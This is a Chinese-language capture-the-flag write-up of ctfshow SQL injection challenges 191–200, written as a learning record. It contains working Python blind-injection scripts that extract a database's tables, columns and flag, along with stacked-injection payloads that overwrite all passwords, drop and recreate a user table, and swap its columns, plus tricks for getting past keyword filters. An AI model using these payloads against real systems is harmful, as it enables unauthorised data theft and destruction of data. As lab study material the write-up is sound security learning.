ctfshow学习记录-web入门(sql注入191-200)

九某人来更新啦:2023年第一篇wp新鲜出炉~


web191

解答:增加了过滤

在这里插入图片描述

过滤了ascii,可以用ord方法代替。(这里手册中也有告知~)

在这里插入图片描述

在这里插入图片描述

web190的payload修改一下。

import requests
import sys
import time

url = "http://60a3f535-f0c5-40d6-9e63-fe058bf95762.challenge.ctf.show/api/"
flag = ""
for i in range(1,60):
    max = 127
    min = 32
    while 1:
        mid = (max+min)>>1
        if(min == mid):
            flag += chr(mid)
            print(flag)
            break
        #payload = "admin'and (ord(substr((select database()),{},1))<{})#".format(i,mid)
        #ctfshow_web
        #payload = "admin'and (ord(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))<{})#".format(i,mid)
        #ctfshow_fl0g
        #payload = "admin'and (ord(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_fl0g'),{},1))<{})#".format(i,mid)
        #id,f1ag
        payload = "admin'and (ord(substr((select f1ag from ctfshow_fl0g),{},1))<{})#".format(i,mid)

        data = {
            "username":payload,
            "password":0,
        }
        res = requests.post(url = url,data =data)
        time.sleep(0.3)
        if res.text.find("8bef")>0:
            max = mid
        else:
            min = mid 

进一步学习

ord()与ascii()的区别:

ORD() 函数返回字符串第一个字符的ASCII 值,如果该字符是一个多字节(即一个或多个字节的序列),则MySQL函数将返回最左边字符的代码。

如果字符不是多字节字符,则ORD()和ASCII()函数返回相似的结果;如果字符是多字节字符,则ASCII()只返回该字符最左侧的一个字节的ASCII值。
如下示例:

SELECT ORD('简');
>>>15183488  # 15183488的十六进制是E7AE80
SELECT ASCII('简');
>>>231      # 231的十六进制是E7

web192

解答
在这里插入图片描述

这里ord、hex都被过滤了,通过转数值的方式不能用了。substr还可以用, 那么直接截取字符判断匹配即可。

import requests
import sys
import time

url = "http://da148d3a-ee33-4c6d-a705-6814e006da74.challenge.ctf.show/api/"

flagstr = "}{abcdefghijklmnopqr-stuvwxyz0123456789_"
flag = ""
for i in range(1,60):
    for mid in flagstr:
        #payload = "admin'and ((substr((select database()),{},1)='{}'))#".format(i,mid)
        #ctfshow_web
        #payload = "admin'and ((substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1)='{}'))#".format(i,mid)
        #ctfshow_fl0g
        #payload = "admin'and ((substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_fl0g'),{},1)='{}'))#".format(i,mid)
        #id,f1ag
        payload = "admin'and ((substr((select f1ag from ctfshow_fl0g),{},1)='{}'))#".format(i,mid)

        data = {
            "username":payload,
            "password":0,
        }
        #{'username': "admin'and ((substr((select f1ag from ctfshow_fl0g),1,1)='O'))#", 'password': 0}
        res = requests.post(url = url,data =data)
        time.sleep(0.3)
        if res.text.find("8bef")>0:
            flag += mid
            print("++++++++++++++++++++"+flag)
            break

这里其实也可以用二分法,只是从之前的数值比较,换成字符比较而已。
sql大小写不敏感,不过flag本身也都是小写,所以并不影响,结果转成小写字母就可以。
我直接改了一下之前的脚本

import requests
import sys
import time
import string
url = "http://f95ff68a-eb55-4ee3-bb4e-fff30a200cd3.challenge.ctf.show/api/"
flag = ""
for i in range(1,60):
    max = 127
    min = 32
    while 1:
        mid = (max+min)>>1
        if(min == mid):
            flag += chr(mid)
            print(flag.lower())
            break
        payload = "admin'and ((substr((select f1ag from ctfshow_fl0g),{},1)<CHAR({})))#".format(i,mid)
        #print(payload)
        data = {
            "username":payload,
            "password":0,
        }
        res = requests.post(url = url,data =data)
        time.sleep(0.3)
        if res.text.find("8bef")>0:
            max = mid
        else:
            min = mid 

web193

解答
在这里插入图片描述

substr不能用了,但可以用left()或者right()。

left()返回具有指定长度的字符串的左边部分。
left(string,length);

  • length:想要截取的长度

right()返回具有指定长度的字符串的右边部分,用法同上。

import requests
import sys
import time

url = "http://077c3f46-7703-4fa9-8cfb-247c985473b3.challenge.ctf.show/api/"

flagstr = ",_}{abcdefghijklmnopqr-stuvwxyz0123456789"
tempstr = ""
flag = ""
for i in range(1,60):
    for mid in flagstr:
        #payload = "admin'and ((left((select database()),{})='{}'))#".format(i,tempstr+mid)
        #ctfshow_web
        #payload = "admin'and ((left((select group_concat(table_name) from information_schema.tables where table_schema=database()),{})='{}'))#".format(i,tempstr+mid)
        #ctfshow_flxg
        #payload = "admin'and ((left((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flxg'),{})='{}'))#".format(i,tempstr+mid)
        #id,f1ag
        payload = "admin'and ((left((select f1ag from ctfshow_flxg),{})='{}'))#".format(i,tempstr+mid)

        data = {
            "username":payload,
            "password":0,
        }
        res = requests.post(url = url,data =data)
        time.sleep(0.3)
        if res.text.find("8bef")>0:
            tempstr += mid
            flag += mid
            print("++++++++++++++++++++"+flag)
            break

二分法依然可行,只是并不是单独的字符比较,是字符串的比较,但原理是一样的。
即:ab=ab,ab<ac,是对字符串不一致的第一字符进行比较。

import requests
import sys
import time
import string
url = "http://fa58a58a-11d4-4c3e-9009-e7a0c53565b8.challenge.ctf.show/api/"
flag = ""
for i in range(1,60):
    max = 127
    min = 32
    while 1:
        mid = (max+min)>>1
        if(min == mid):
            flag += chr(mid)
            print(flag.lower())
            break
        payload = "admin'and ((left((select f1ag from ctfshow_flxg),{})<'{}'))#".format(i,flag+chr(mid))
        #print(payload)
        data = {
            "username":payload,
            "password":0,
        }
        res = requests.post(url = url,data =data)
        time.sleep(0.3)
        if res.text.find("8bef")>0:
            max = mid
        else:
            min = mid 

web194

解答
在这里插入图片描述
left、right、substring、char都不能用了。
找一找其他和截取有关的函数,发现lpad()

在这里插入图片描述

lpad(str,len,padstr)
lpad()函数返回字符串strlen小于字符串长度相当于字符串截取;大于字符串长度,则在左填充用字符串padstr直到达到len字符长度。

在这里插入图片描述

有左填充,一般就是右填充,找到rpad(),用法和lpad()类似。

在这里插入图片描述

这里使用lpad(),它和left()的注入语句类似,只是多了一个填充字符串padstr参数,令其为空即可。

import requests
import sys
import time

url = "http://8be98a09-12b0-4f66-807f-899826d58216.challenge.ctf.show/api/"

flagstr = ",_}{abcdefghijklmnopqr-stuvwxyz0123456789"
tempstr = ""
flag = ""
for i in range(1,60):
    for mid in flagstr:
        #payload = "admin'and ((lpad((select database()),{},'')='{}'))#".format(i,tempstr+mid)
        #ctfshow_web
        #payload = "admin'and ((lpad((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},'')='{}'))#".format(i,tempstr+mid)
        #ctfshow_flxg
        #payload = "admin'and ((lpad((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flxg'),{},'')='{}'))#".format(i,tempstr+mid)
        #id,f1ag
        payload = "admin'and ((lpad((select f1ag from ctfshow_flxg),{},'')='{}'))#".format(i,tempstr+mid)

        data = {
            "username":payload,
            "password":0,
        }
        res = requests.post(url = url,data =data)
        time.sleep(0.3)
        if res.text.find("8bef")>0:
            tempstr += mid
            flag += mid
            print("++++++++++++++++++++"+flag)
            break

依然可以用二分法。

import requests
import sys
import time
import string
url = "http://ea0f0b36-e6ff-4074-b475-709facd4ff56.challenge.ctf.show/api/"
flag = ""
for i in range(1,60):
    max = 127
    min = 32
    while 1:
        mid = (max+min)>>1
        if(min == mid):
            flag += chr(mid)
            print(flag.lower())
            break
        payload = "admin'and ((lpad((select f1ag from ctfshow_flxg),{},'')<'{}'))#".format(i,flag+chr(mid))
        print(payload)
        data = {
            "username":payload,
            "password":0,
        }
        res = requests.post(url = url,data =data)
        time.sleep(0.3)
        if res.text.find("8bef")>0:
            max = mid
        else:
            min = mid 

web195

题目:进入堆叠注入部分

在这里插入图片描述

解答:过滤了select,单双引号也被过滤,没有报错提示。

没有过滤分号,考虑堆叠注入。但不能有空格,可以通过反引号包裹表名等信息的方式绕过空格过滤。

根据展示的代码可知,登陆成功就可以获得flag,关键就在于登陆,而且登陆的这个用户他的密码要是数字。

在这里插入图片描述

通过提供的查询语句可以知道表名是ctfshow_user,列名为username和pass。
考虑用update把所有pass改成1。

username=1;update`ctfshow_user`set`pass`=1&password=1
//这里username=1;写成username=0;也可以的,不影响后面update的执行,两条语句都会执行。

在这里插入图片描述

然后username=0&password=1登陆。
(username=0这个做法在web188中有提到,就是匹配所有开头不是数字或者为0的字符串和数字0)

在这里插入图片描述

进一步学习

堆叠注入详解


web196

解答:限制了用户名的长度,不能超过16个字符。密码正确就可以拿到flag

在这里插入图片描述

这道题目的select虽然写的是被过滤了,但是实际并没有被过滤。
(根据群里的反馈,说群主本来是打算把过滤select写成se1ect,但是忘记改了。不过se1ect也并没有被过滤,感觉纯粹就是没有加select的过滤~)

可以用select绕过password的if判断。

判断条件满足的设定是$row[0]==$password$row存储的是结果集中的一行数据,$row[0]就是这一行的第一个数据。
既然可以堆叠注入,就是可以多语句查询,$row应该也会逐一循环获取每个结果集。

那么可以输入username为1;select(9),password为9。当$row获取到第二个查询语句select(9)的结果集时,即可获得$row[0]=9,那么password输入9就可以满足条件判断。

在这里插入图片描述

输入0;select(9)也可以,不影响。

在这里插入图片描述


web197

题目:用户名可以很长
在这里插入图片描述

解答:这次select确实被过滤了。

方法一
利用show。根据题目给的查询语句,可以知道数据库的表名为ctfshow_user,那么可以通过show tables,获取表名的结果集,在这个结果集里定然有一行的数据为ctfshow_user。

用户名:1;show tables
密码:ctfshow_user

在这里插入图片描述

方法二
更新表。过滤了update,但我们可以删表,重新建一个同样表名的表,列名给的查询语句也已经告知,分别是username和pass。

0;drop table ctfshow_user;create table ctfshow_user(`username` varchar(100),`pass` varchar(100));insert ctfshow_user(`username`,`pass`) value(1,1)

这里的意思就是删除以前的表,再自己新建一个并且插入数据:username=1,pass=1

然后直接输入1为用户名和密码,登录即可得到flag。

在这里插入图片描述


web198

题目
在这里插入图片描述

解答

方法一:本题依然可以使用上个题目的方法一show tables

方法二:本题把drop和create都过滤了,不能直接删表重建了。

在已知有一个默认用户名为userAUTO的情况下,这里可以考虑列名互换。
将username和pass互换,这样就可以用userAUTO进行密码登录了。

0;alter table ctfshow_user change `username` `passw` varchar(100);alter table ctfshow_user change `pass` `username` varchar(100);alter table ctfshow_user change `passw` `pass` varchar(100);

最后,用户名为0,密码为userAUTO登陆即可

在这里插入图片描述


web199

题目
在这里插入图片描述

解答

方法一:本题依然可以使用show tables

方法二:本题过滤了括号,限制了之前payload中的varchar(100),可以改为text。

0;alter table ctfshow_user change `username` `passw` text;alter table ctfshow_user change `pass` `username` text;alter table ctfshow_user change `passw` `pass` text;

web200

题目
在这里插入图片描述

解答:增加了逗号的过滤,不影响。web199的两个方法都可以用。

  • 3
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值